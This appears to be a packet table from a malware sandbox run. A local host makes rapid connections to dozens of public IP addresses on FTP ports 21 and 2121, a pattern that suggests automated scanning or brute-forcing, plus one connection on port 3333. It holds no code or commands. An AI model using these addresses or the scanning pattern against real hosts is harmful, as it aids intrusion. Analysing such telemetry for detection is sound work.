Aug 23, 2023 09:15:30.830795050 CEST	50910	2121	192.168.2.3	83.89.31.27
Aug 23, 2023 09:15:30.831118107 CEST	50911	21	192.168.2.3	83.89.31.27
Aug 23, 2023 09:15:30.883280039 CEST	50861	2121	192.168.2.3	58.187.137.112
Aug 23, 2023 09:15:30.887000084 CEST	50862	21	192.168.2.3	191.94.26.251
Aug 23, 2023 09:15:30.887068033 CEST	50863	2121	192.168.2.3	191.94.26.251
Aug 23, 2023 09:15:30.925575972 CEST	50912	21	192.168.2.3	81.244.226.230
Aug 23, 2023 09:15:30.925621033 CEST	50913	2121	192.168.2.3	81.244.226.230
Aug 23, 2023 09:15:30.984700918 CEST	50858	21	192.168.2.3	58.187.137.112
Aug 23, 2023 09:15:31.065572023 CEST	50894	21	192.168.2.3	64.50.150.220
Aug 23, 2023 09:15:31.166371107 CEST	50866	21	192.168.2.3	52.210.76.102
Aug 23, 2023 09:15:31.166373968 CEST	50868	21	192.168.2.3	174.109.145.79
Aug 23, 2023 09:15:31.166385889 CEST	50867	2121	192.168.2.3	52.210.76.102
Aug 23, 2023 09:15:31.205549002 CEST	21	50894	64.50.150.220	192.168.2.3
Aug 23, 2023 09:15:31.267350912 CEST	50869	2121	192.168.2.3	174.109.145.79
Aug 23, 2023 09:15:31.267350912 CEST	50871	2121	192.168.2.3	174.172.195.89
Aug 23, 2023 09:15:31.267399073 CEST	50870	21	192.168.2.3	174.172.195.89
Aug 23, 2023 09:15:31.368460894 CEST	50873	2121	192.168.2.3	73.189.10.40
Aug 23, 2023 09:15:31.370461941 CEST	50872	21	192.168.2.3	73.189.10.40
Aug 23, 2023 09:15:31.388509035 CEST	50874	21	192.168.2.3	61.202.90.98
Aug 23, 2023 09:15:31.445033073 CEST	50915	21	192.168.2.3	91.248.214.225
Aug 23, 2023 09:15:31.445852041 CEST	50916	2121	192.168.2.3	91.248.214.225
Aug 23, 2023 09:15:31.446005106 CEST	50917	21	192.168.2.3	66.131.243.189
Aug 23, 2023 09:15:31.446934938 CEST	50918	21	192.168.2.3	35.138.145.92
Aug 23, 2023 09:15:31.446980953 CEST	50920	2121	192.168.2.3	108.181.187.27
Aug 23, 2023 09:15:31.446983099 CEST	50919	2121	192.168.2.3	35.138.145.92
Aug 23, 2023 09:15:31.447088003 CEST	50921	21	192.168.2.3	178.64.62.203
Aug 23, 2023 09:15:31.447108030 CEST	50922	2121	192.168.2.3	66.131.243.189
Aug 23, 2023 09:15:31.447169065 CEST	50924	2121	192.168.2.3	178.64.62.203
Aug 23, 2023 09:15:31.447182894 CEST	50923	21	192.168.2.3	108.181.187.27
Aug 23, 2023 09:15:31.475600958 CEST	50925	21	192.168.2.3	198.14.217.197
Aug 23, 2023 09:15:31.476133108 CEST	50926	2121	192.168.2.3	198.14.217.197
Aug 23, 2023 09:15:31.476628065 CEST	50927	21	192.168.2.3	73.110.229.159
Aug 23, 2023 09:15:31.590825081 CEST	50875	2121	192.168.2.3	61.202.90.98
Aug 23, 2023 09:15:31.692261934 CEST	50876	21	192.168.2.3	75.161.238.39
Aug 23, 2023 09:15:31.793417931 CEST	50763	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:15:31.894675016 CEST	50877	2121	192.168.2.3	75.161.238.39
Aug 23, 2023 09:15:31.996318102 CEST	50878	21	192.168.2.3	41.136.173.153
Aug 23, 2023 09:15:32.097378016 CEST	50879	2121	192.168.2.3	41.136.173.153
Aug 23, 2023 09:15:32.380031109 CEST	50880	21	192.168.2.3	221.153.63.133
Aug 23, 2023 09:15:32.380068064 CEST	50885	2121	192.168.2.3	174.30.55.180
Aug 23, 2023 09:15:32.380069971 CEST	50887	2121	192.168.2.3	99.226.137.58
Aug 23, 2023 09:15:32.380069971 CEST	50881	2121	192.168.2.3	221.153.63.133
Aug 23, 2023 09:15:32.380078077 CEST	50886	21	192.168.2.3	99.226.137.58
Aug 23, 2023 09:15:32.380088091 CEST	50884	21	192.168.2.3	174.30.55.180
Aug 23, 2023 09:15:32.400346994 CEST	50882	21	192.168.2.3	222.229.222.154
Aug 23, 2023 09:15:32.400986910 CEST	50883	2121	192.168.2.3	222.229.222.154
Aug 23, 2023 09:15:32.501494884 CEST	50889	2121	192.168.2.3	212.239.153.22
Aug 23, 2023 09:15:32.501530886 CEST	50890	21	192.168.2.3	24.22.204.9
Aug 23, 2023 09:15:32.506647110 CEST	50891	2121	192.168.2.3	24.22.204.9
Aug 23, 2023 09:15:32.506649971 CEST	50888	21	192.168.2.3	212.239.153.22
Aug 23, 2023 09:15:32.683485031 CEST	50892	21	192.168.2.3	173.72.119.59
Aug 23, 2023 09:15:32.683578014 CEST	50893	2121	192.168.2.3	173.72.119.59
Aug 23, 2023 09:15:32.683578968 CEST	50895	2121	192.168.2.3	64.50.150.220
Aug 23, 2023 09:15:32.784399033 CEST	50896	21	192.168.2.3	188.108.182.43
Aug 23, 2023 09:15:32.865309954 CEST	50899	2121	192.168.2.3	155.193.23.78
Aug 23, 2023 09:15:32.865546942 CEST	50898	21	192.168.2.3	155.193.23.78
Aug 23, 2023 09:15:32.886843920 CEST	50897	2121	192.168.2.3	188.108.182.43
Aug 23, 2023 09:15:32.945096970 CEST	50928	2121	192.168.2.3	73.110.229.159
Aug 23, 2023 09:15:32.970556974 CEST	50929	2121	192.168.2.3	64.26.224.122
Aug 23, 2023 09:15:32.970604897 CEST	50930	21	192.168.2.3	88.5.3.118
Aug 23, 2023 09:15:32.970700979 CEST	50931	21	192.168.2.3	189.191.209.95
Aug 23, 2023 09:15:32.970870972 CEST	50932	21	192.168.2.3	64.26.224.122
Aug 23, 2023 09:15:32.970870972 CEST	50933	2121	192.168.2.3	88.5.3.118
Aug 23, 2023 09:15:32.978856087 CEST	50937	21	192.168.2.3	180.35.0.53
Aug 23, 2023 09:15:32.978997946 CEST	50935	21	192.168.2.3	84.126.122.11
Aug 23, 2023 09:15:32.979003906 CEST	50934	2121	192.168.2.3	189.191.209.95
Aug 23, 2023 09:15:32.979115963 CEST	50938	21	192.168.2.3	166.88.65.252
Aug 23, 2023 09:15:32.979120970 CEST	50936	2121	192.168.2.3	84.126.122.11
Aug 23, 2023 09:15:32.979218006 CEST	50939	2121	192.168.2.3	166.88.65.252
Aug 23, 2023 09:15:32.979247093 CEST	50940	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:32.979314089 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:32.979363918 CEST	50942	21	192.168.2.3	23.97.239.1
Aug 23, 2023 09:15:32.979418993 CEST	50943	2121	192.168.2.3	23.97.239.1
Aug 23, 2023 09:15:32.979500055 CEST	50944	21	192.168.2.3	122.47.85.4
Aug 23, 2023 09:15:32.979610920 CEST	50946	21	192.168.2.3	91.152.126.176
Aug 23, 2023 09:15:32.979614973 CEST	50945	2121	192.168.2.3	122.47.85.4
Aug 23, 2023 09:15:32.979685068 CEST	50947	2121	192.168.2.3	91.152.126.176
Aug 23, 2023 09:15:32.986697912 CEST	50901	2121	192.168.2.3	92.100.121.142
Aug 23, 2023 09:15:32.987189054 CEST	50903	2121	192.168.2.3	79.217.31.163
Aug 23, 2023 09:15:32.987189054 CEST	50902	21	192.168.2.3	79.217.31.163
Aug 23, 2023 09:15:32.987200022 CEST	50900	21	192.168.2.3	92.100.121.142
Aug 23, 2023 09:15:33.003334999 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.007090092 CEST	50940	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.069226980 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:33.070386887 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:33.137934923 CEST	50948	2121	192.168.2.3	180.35.0.53
Aug 23, 2023 09:15:33.138515949 CEST	50949	21	192.168.2.3	126.153.4.35
Aug 23, 2023 09:15:33.160398960 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:33.182332039 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.190429926 CEST	50950	21	192.168.2.3	14.67.232.174
Aug 23, 2023 09:15:33.190882921 CEST	50951	2121	192.168.2.3	126.153.4.35
Aug 23, 2023 09:15:33.195995092 CEST	50940	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.212570906 CEST	50952	2121	192.168.2.3	14.67.232.174
Aug 23, 2023 09:15:33.236449003 CEST	50953	21	192.168.2.3	180.230.69.58
Aug 23, 2023 09:15:33.260653973 CEST	21	50937	180.35.0.53	192.168.2.3
Aug 23, 2023 09:15:33.270253897 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:33.276488066 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.277609110 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.285793066 CEST	50940	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.306241989 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.312259912 CEST	50954	2121	192.168.2.3	180.230.69.58
Aug 23, 2023 09:15:33.351865053 CEST	50955	21	192.168.2.3	2.220.79.116
Aug 23, 2023 09:15:33.356405020 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:33.361900091 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:33.384459019 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.385010958 CEST	50940	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.392765999 CEST	50956	2121	192.168.2.3	2.220.79.116
Aug 23, 2023 09:15:33.405435085 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.405536890 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.405757904 CEST	50940	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.406191111 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.406238079 CEST	50940	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.406503916 CEST	50957	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.410649061 CEST	21	50949	126.153.4.35	192.168.2.3
Aug 23, 2023 09:15:33.447566986 CEST	21	50950	14.67.232.174	192.168.2.3
Aug 23, 2023 09:15:33.448352098 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:33.448369026 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:33.462487936 CEST	2121	50951	126.153.4.35	192.168.2.3
Aug 23, 2023 09:15:33.473911047 CEST	2121	50952	14.67.232.174	192.168.2.3
Aug 23, 2023 09:15:33.477121115 CEST	21	50940	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.477142096 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.477225065 CEST	50957	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.481823921 CEST	50909	21	192.168.2.3	61.97.198.63
Aug 23, 2023 09:15:33.481899977 CEST	50905	21	192.168.2.3	194.207.231.88
Aug 23, 2023 09:15:33.487560034 CEST	21	50953	180.230.69.58	192.168.2.3
Aug 23, 2023 09:15:33.580435991 CEST	2121	50954	180.230.69.58	192.168.2.3
Aug 23, 2023 09:15:33.580967903 CEST	50958	21	192.168.2.3	93.104.13.6
Aug 23, 2023 09:15:33.594759941 CEST	50904	2121	192.168.2.3	61.97.198.63
Aug 23, 2023 09:15:33.594778061 CEST	50907	2121	192.168.2.3	20.234.163.54
Aug 23, 2023 09:15:33.594789982 CEST	50906	21	192.168.2.3	20.234.163.54
Aug 23, 2023 09:15:33.594963074 CEST	50908	2121	192.168.2.3	194.207.231.88
Aug 23, 2023 09:15:33.603291035 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:33.607099056 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.607587099 CEST	50957	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.677830935 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.678188086 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.688435078 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:33.703814983 CEST	50959	2121	192.168.2.3	93.104.13.6
Aug 23, 2023 09:15:33.704025030 CEST	50957	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.713737011 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:33.777976990 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.779369116 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.779823065 CEST	50957	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.799638033 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.799856901 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.800108910 CEST	50957	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.800321102 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:33.800765038 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.800820112 CEST	50957	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.800896883 CEST	50960	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.876041889 CEST	50937	21	192.168.2.3	180.35.0.53
Aug 23, 2023 09:15:33.876110077 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:33.878560066 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.878614902 CEST	50957	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.878631115 CEST	21	50957	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.878746986 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.883291960 CEST	50960	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:33.893264055 CEST	50961	21	192.168.2.3	174.61.43.218
Aug 23, 2023 09:15:33.964384079 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:33.964775085 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:33.965444088 CEST	50962	2121	192.168.2.3	174.61.43.218
Aug 23, 2023 09:15:33.970813990 CEST	50963	21	192.168.2.3	1.44.113.169
Aug 23, 2023 09:15:33.985481977 CEST	50911	21	192.168.2.3	83.89.31.27
Aug 23, 2023 09:15:33.985483885 CEST	50951	2121	192.168.2.3	126.153.4.35
Aug 23, 2023 09:15:33.985510111 CEST	50912	21	192.168.2.3	81.244.226.230
Aug 23, 2023 09:15:33.985531092 CEST	50952	2121	192.168.2.3	14.67.232.174
Aug 23, 2023 09:15:33.985531092 CEST	50913	2121	192.168.2.3	81.244.226.230
Aug 23, 2023 09:15:33.985558033 CEST	50910	2121	192.168.2.3	83.89.31.27
Aug 23, 2023 09:15:33.995290995 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:33.995876074 CEST	50960	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.016443014 CEST	50949	21	192.168.2.3	126.153.4.35
Aug 23, 2023 09:15:34.016551018 CEST	50950	21	192.168.2.3	14.67.232.174
Aug 23, 2023 09:15:34.052592039 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:34.052644968 CEST	21	50941	188.16.61.192	192.168.2.3
Aug 23, 2023 09:15:34.052810907 CEST	50941	21	192.168.2.3	188.16.61.192
Aug 23, 2023 09:15:34.080459118 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.080527067 CEST	50964	2121	192.168.2.3	1.44.113.169
Aug 23, 2023 09:15:34.083343983 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.083704948 CEST	50960	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.094831944 CEST	50953	21	192.168.2.3	180.230.69.58
Aug 23, 2023 09:15:34.094952106 CEST	50954	2121	192.168.2.3	180.230.69.58
Aug 23, 2023 09:15:34.103986979 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.105057955 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.105468988 CEST	50960	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.158797979 CEST	21	50937	180.35.0.53	192.168.2.3
Aug 23, 2023 09:15:34.181175947 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.181783915 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.182223082 CEST	50960	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.182612896 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.182706118 CEST	50960	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.183397055 CEST	50965	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.202327967 CEST	21	50960	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.205270052 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.205495119 CEST	50965	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.251317978 CEST	2121	50952	14.67.232.174	192.168.2.3
Aug 23, 2023 09:15:34.257112026 CEST	2121	50951	126.153.4.35	192.168.2.3
Aug 23, 2023 09:15:34.279370070 CEST	21	50950	14.67.232.174	192.168.2.3
Aug 23, 2023 09:15:34.290036917 CEST	21	50949	126.153.4.35	192.168.2.3
Aug 23, 2023 09:15:34.305831909 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.306230068 CEST	50965	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.347594976 CEST	21	50953	180.230.69.58	192.168.2.3
Aug 23, 2023 09:15:34.361479998 CEST	2121	50954	180.230.69.58	192.168.2.3
Aug 23, 2023 09:15:34.363188982 CEST	50966	21	192.168.2.3	71.186.223.84
Aug 23, 2023 09:15:34.364837885 CEST	50967	2121	192.168.2.3	71.186.223.84
Aug 23, 2023 09:15:34.364890099 CEST	50968	21	192.168.2.3	68.147.134.92
Aug 23, 2023 09:15:34.364988089 CEST	50969	2121	192.168.2.3	68.147.134.92
Aug 23, 2023 09:15:34.364991903 CEST	50971	2121	192.168.2.3	136.243.203.238
Aug 23, 2023 09:15:34.364994049 CEST	50970	21	192.168.2.3	136.243.203.238
Aug 23, 2023 09:15:34.365031004 CEST	50972	21	192.168.2.3	83.37.241.43
Aug 23, 2023 09:15:34.365083933 CEST	50973	2121	192.168.2.3	83.37.241.43
Aug 23, 2023 09:15:34.380645037 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.380736113 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.381031036 CEST	50965	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.401487112 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.403887033 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.404213905 CEST	50965	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.439990997 CEST	50974	21	192.168.2.3	177.152.18.44
Aug 23, 2023 09:15:34.440474033 CEST	50975	2121	192.168.2.3	177.152.18.44
Aug 23, 2023 09:15:34.469858885 CEST	50916	2121	192.168.2.3	91.248.214.225
Aug 23, 2023 09:15:34.469877958 CEST	50922	2121	192.168.2.3	66.131.243.189
Aug 23, 2023 09:15:34.469897985 CEST	50918	21	192.168.2.3	35.138.145.92
Aug 23, 2023 09:15:34.469897985 CEST	50919	2121	192.168.2.3	35.138.145.92
Aug 23, 2023 09:15:34.470060110 CEST	50921	21	192.168.2.3	178.64.62.203
Aug 23, 2023 09:15:34.470168114 CEST	50917	21	192.168.2.3	66.131.243.189
Aug 23, 2023 09:15:34.480597019 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.480637074 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.480946064 CEST	50965	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.481437922 CEST	50976	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.481551886 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.482065916 CEST	50965	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.485518932 CEST	50915	21	192.168.2.3	91.248.214.225
Aug 23, 2023 09:15:34.485529900 CEST	50920	2121	192.168.2.3	108.181.187.27
Aug 23, 2023 09:15:34.485529900 CEST	50924	2121	192.168.2.3	178.64.62.203
Aug 23, 2023 09:15:34.485558033 CEST	50923	21	192.168.2.3	108.181.187.27
Aug 23, 2023 09:15:34.485558987 CEST	50925	21	192.168.2.3	198.14.217.197
Aug 23, 2023 09:15:34.485649109 CEST	50926	2121	192.168.2.3	198.14.217.197
Aug 23, 2023 09:15:34.486838102 CEST	50977	21	192.168.2.3	73.30.117.15
Aug 23, 2023 09:15:34.487123013 CEST	50978	2121	192.168.2.3	73.30.117.15
Aug 23, 2023 09:15:34.501219034 CEST	21	50965	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.501786947 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.503345013 CEST	50976	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.579509020 CEST	50927	21	192.168.2.3	73.110.229.159
Aug 23, 2023 09:15:34.626765966 CEST	50979	21	192.168.2.3	187.145.155.249
Aug 23, 2023 09:15:34.658241034 CEST	50980	2121	192.168.2.3	187.145.155.249
Aug 23, 2023 09:15:34.679332018 CEST	2121	50975	177.152.18.44	192.168.2.3
Aug 23, 2023 09:15:34.681282997 CEST	21	50974	177.152.18.44	192.168.2.3
Aug 23, 2023 09:15:34.681405067 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.683854103 CEST	50976	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.689650059 CEST	50981	21	192.168.2.3	5.235.103.151
Aug 23, 2023 09:15:34.690180063 CEST	50982	2121	192.168.2.3	5.235.103.151
Aug 23, 2023 09:15:34.704183102 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.705775976 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.708518028 CEST	50976	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.766778946 CEST	50937	21	192.168.2.3	180.35.0.53
Aug 23, 2023 09:15:34.782519102 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.783593893 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.794763088 CEST	50976	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.798091888 CEST	50951	2121	192.168.2.3	126.153.4.35
Aug 23, 2023 09:15:34.798741102 CEST	50952	2121	192.168.2.3	14.67.232.174
Aug 23, 2023 09:15:34.828785896 CEST	50983	21	192.168.2.3	62.11.176.58
Aug 23, 2023 09:15:34.832943916 CEST	50984	2121	192.168.2.3	62.11.176.58
Aug 23, 2023 09:15:34.833059072 CEST	50985	21	192.168.2.3	45.118.114.46
Aug 23, 2023 09:15:34.876167059 CEST	50950	21	192.168.2.3	14.67.232.174
Aug 23, 2023 09:15:34.876308918 CEST	50949	21	192.168.2.3	126.153.4.35
Aug 23, 2023 09:15:34.883589029 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.883610964 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.884470940 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.884530067 CEST	50976	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.893040895 CEST	50976	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.912621021 CEST	50986	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.924038887 CEST	50987	2121	192.168.2.3	45.118.114.46
Aug 23, 2023 09:15:34.939328909 CEST	50988	21	192.168.2.3	79.232.15.191
Aug 23, 2023 09:15:34.956995010 CEST	50989	21	192.168.2.3	171.49.195.165
Aug 23, 2023 09:15:34.957107067 CEST	50990	2121	192.168.2.3	79.232.15.191
Aug 23, 2023 09:15:34.984389067 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.984430075 CEST	21	50976	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:34.984529972 CEST	50986	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:34.985769987 CEST	50953	21	192.168.2.3	180.230.69.58
Aug 23, 2023 09:15:34.986005068 CEST	50954	2121	192.168.2.3	180.230.69.58
Aug 23, 2023 09:15:35.020524025 CEST	21	50985	45.118.114.46	192.168.2.3
Aug 23, 2023 09:15:35.048295021 CEST	21	50937	180.35.0.53	192.168.2.3
Aug 23, 2023 09:15:35.056103945 CEST	50991	2121	192.168.2.3	171.49.195.165
Aug 23, 2023 09:15:35.066152096 CEST	2121	50952	14.67.232.174	192.168.2.3
Aug 23, 2023 09:15:35.067027092 CEST	50992	21	192.168.2.3	217.236.71.13
Aug 23, 2023 09:15:35.070130110 CEST	2121	50951	126.153.4.35	192.168.2.3
Aug 23, 2023 09:15:35.071125031 CEST	50993	2121	192.168.2.3	217.236.71.13
Aug 23, 2023 09:15:35.125541925 CEST	2121	50987	45.118.114.46	192.168.2.3
Aug 23, 2023 09:15:35.139008045 CEST	21	50950	14.67.232.174	192.168.2.3
Aug 23, 2023 09:15:35.139935970 CEST	50994	21	192.168.2.3	115.23.70.125
Aug 23, 2023 09:15:35.148643017 CEST	21	50949	126.153.4.35	192.168.2.3
Aug 23, 2023 09:15:35.152077913 CEST	50995	2121	192.168.2.3	115.23.70.125
Aug 23, 2023 09:15:35.188399076 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.188910007 CEST	50986	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:35.209465027 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.209853888 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.219827890 CEST	50986	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:35.237097025 CEST	21	50953	180.230.69.58	192.168.2.3
Aug 23, 2023 09:15:35.238497019 CEST	50996	21	192.168.2.3	98.185.225.87
Aug 23, 2023 09:15:35.251064062 CEST	2121	50954	180.230.69.58	192.168.2.3
Aug 23, 2023 09:15:35.253694057 CEST	50997	2121	192.168.2.3	98.185.225.87
Aug 23, 2023 09:15:35.283086061 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.285903931 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.286501884 CEST	50986	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:35.298075914 CEST	50975	2121	192.168.2.3	177.152.18.44
Aug 23, 2023 09:15:35.298191071 CEST	50974	21	192.168.2.3	177.152.18.44
Aug 23, 2023 09:15:35.307080984 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.307302952 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.307625055 CEST	50986	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:35.308008909 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.308090925 CEST	50986	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:35.308717966 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:35.383341074 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.383491993 CEST	50986	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:35.383542061 CEST	21	50986	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.383990049 CEST	21	50998	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:35.384179115 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:35.474323034 CEST	50999	21	192.168.2.3	73.88.159.171
Aug 23, 2023 09:15:35.474684000 CEST	51001	2121	192.168.2.3	62.178.254.170
Aug 23, 2023 09:15:35.474795103 CEST	51002	21	192.168.2.3	155.186.122.93
Aug 23, 2023 09:15:35.474822044 CEST	51000	2121	192.168.2.3	73.88.159.171
Aug 23, 2023 09:15:35.474916935 CEST	51003	21	192.168.2.3	62.178.254.170
Aug 23, 2023 09:15:35.536163092 CEST	51004	2121	192.168.2.3	155.186.122.93
Aug 23, 2023 09:15:35.537914991 CEST	2121	50975	177.152.18.44	192.168.2.3
Aug 23, 2023 09:15:35.579421997 CEST	50985	21	192.168.2.3	45.118.114.46
Aug 23, 2023 09:15:35.626184940 CEST	50987	2121	192.168.2.3	45.118.114.46
Aug 23, 2023 09:15:35.767224073 CEST	21	50985	45.118.114.46	192.168.2.3
Aug 23, 2023 09:15:35.828062057 CEST	2121	50987	45.118.114.46	192.168.2.3
Aug 23, 2023 09:15:35.830579996 CEST	51005	21	192.168.2.3	210.103.85.2
Aug 23, 2023 09:15:35.831381083 CEST	51006	2121	192.168.2.3	210.103.85.2
Aug 23, 2023 09:15:35.940371990 CEST	51007	2121	192.168.2.3	172.251.247.95
Aug 23, 2023 09:15:35.940448999 CEST	51008	21	192.168.2.3	172.251.247.95
